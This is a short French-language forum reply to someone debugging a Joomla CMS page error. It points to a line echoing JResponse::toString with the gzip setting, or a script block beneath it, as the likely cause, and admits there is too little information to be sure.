On ne pourra pas t'aider avec ce code...

C'est ça le désavantage des CMS... quand tout va bien pas de soucis mais quand y a une erreur il faut s'y connaitre un peu.

d'après les lignes que tu dis, le problème serai soit sur un echo
echo JResponse::toString($mainframe->getCfg('gzip'));

soit sur le script javascript en dessous

malheureusement on a pas assez d'infos pour en tirer quelque chose.

personnelement je trouve ça bizare d'avoir des balises script hors d'un echo en php... peut être une piste!?
